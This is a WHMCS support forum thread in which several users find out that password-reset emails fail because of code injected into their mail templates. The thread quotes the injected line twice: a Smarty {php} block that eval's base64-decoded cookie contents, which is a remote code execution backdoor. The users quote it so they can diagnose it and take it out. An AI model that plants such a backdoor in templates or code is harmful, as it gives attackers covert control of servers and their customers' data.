lance Posted September 23, 2015 Share Posted September 23, 2015 Passwords not being sent out when client requests password reset error in admin panel shows :- Mail error on password Smarty Error: Syntax error in template "mailTemplate:plaintext" on line 4 "<p> </p>{php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php}" unknown function "eval" Any ideas? 0 Quote Link to comment Share on other sites More sharing options...
brian! Posted September 23, 2015 Share Posted September 23, 2015 I don't think i've used {php} in the email templates before - and i'm not sure if you still can with v6... http://docs.whmcs.com/Templates_and_Custom_PHP_Logic However, as of Smarty 3, support for the {php} block has been removed, and we are only providing legacy support to ease the transition for developers and users who work with our platform and rely on this functionality. In WHMCS 6.0 and later, a backwards compatibility Security setting "Allow Smarty PHP Tags" has been introduced in Setup > General Settings > Security which must be checked to enable the use of PHP tags. This setting defaults to Off, and may be removed in a future versions. 0 Quote Link to comment Share on other sites More sharing options...
lance Posted September 23, 2015 Author Share Posted September 23, 2015 These are the standard forms that came with the whmcs, these are not custom ones. I`ll re-upload them and see if it makes a difference 0 Quote Link to comment Share on other sites More sharing options...
lance Posted September 23, 2015 Author Share Posted September 23, 2015 checking the mail templates, 2 of them had this code on the bottom :- {php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php} Removed it and now ok. 0 Quote Link to comment Share on other sites More sharing options...
Motofreak Posted September 23, 2015 Share Posted September 23, 2015 This happened to us yesterday in the "Automated Password Reset" template, we had to click on the HTML button (in the editor mode) and noticed that after the 6.1 upgrade that the template stopped working Well after removing all the code everything worked. 0 Quote Link to comment Share on other sites More sharing options...
bluesteam Posted October 6, 2015 Share Posted October 6, 2015 This has just happened to me as well. I upgraded my system to 6.0.2 and my password resets were also not sending. I found this exact code in my template and removed it and it all worked again. 0 Quote Link to comment Share on other sites More sharing options...
tobaniyi Posted March 13, 2016 Share Posted March 13, 2016 This has just happened to me as well. I upgraded my system to 6.0.2 and my password resets were also not sending. I found this exact code in my template and removed it and it all worked again. Does this mean that your WHMCS was compromised? 0 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.